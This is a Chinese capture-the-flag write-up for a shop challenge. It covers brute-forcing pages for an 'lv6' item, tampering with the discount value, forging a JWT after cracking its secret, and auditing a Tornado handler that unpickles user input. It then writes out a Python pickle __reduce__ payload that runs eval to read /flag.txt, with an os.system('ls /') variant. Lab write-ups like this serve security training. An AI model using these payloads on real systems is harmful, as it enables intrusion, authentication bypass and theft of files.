没想到国赛也这么皮。哈哈哈哈。
源码提示我们要买到lv6
用脚本跑
import requests
for i in range(1,1000):
url = "http://0a047e4f-ced1-4f90-9dcd-663cef470c0f.node3.buuoj.cn/shop?page={}"
url = url.format(i)
print(url)
r = requests.get(url)
if "lv6.png" in r.text and r.status_code == 200:
print("find it:" ,url)
break
页数为181
没这么多钱,抓包修改折扣(典型的逻辑漏洞)
新知识:
JSON Web Token破解 JWT类似于cookie,
JWT讲解
回到购物车抓包,可以发现存在JWT
根据文章讲述,进行base64编码
{"alg":"HS256","typ":"JWT"}{"username":"123456"}wÈRî*–·Sq(W¶íŒW3̉¬¬kô1Ì7½½0
username是我们的用户名,后面出现乱码是因为经过了sha256,要破解密匙
去官网编码
再回去改cookie,成功进去
查看源码发现一个zip,下载下来
解压后一堆python…
代码审计
python反序列化讲解
文章中提到cPickle,与pickle是一致的,所以不影响。
看到
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
漏洞产生的原因在于其可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码。
其实反序列化漏洞思路都是差不多的
就是找到序列化的参数,看他可不可以修改,可以修改就可以进行任意文件读取或者命令执行
这里我们可以修改become这个参数
那我们就重写__reduce__()魔法方法
可能buu环境有点问题不能够这样重新
def reduce(self):
return eval,(“import(‘os’).system(‘ls /’)”,)
代码如下
python2环境下,可以放到kali中进行
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",)) #打开读取flag.txt的内容
a = pickle.dumps(payload()) #序列化payload
a = urllib.quote(a) #进行url编码
print a
不知道大佬是咋知道flag.txt这个东西的。。。。。。
唉,我太废物了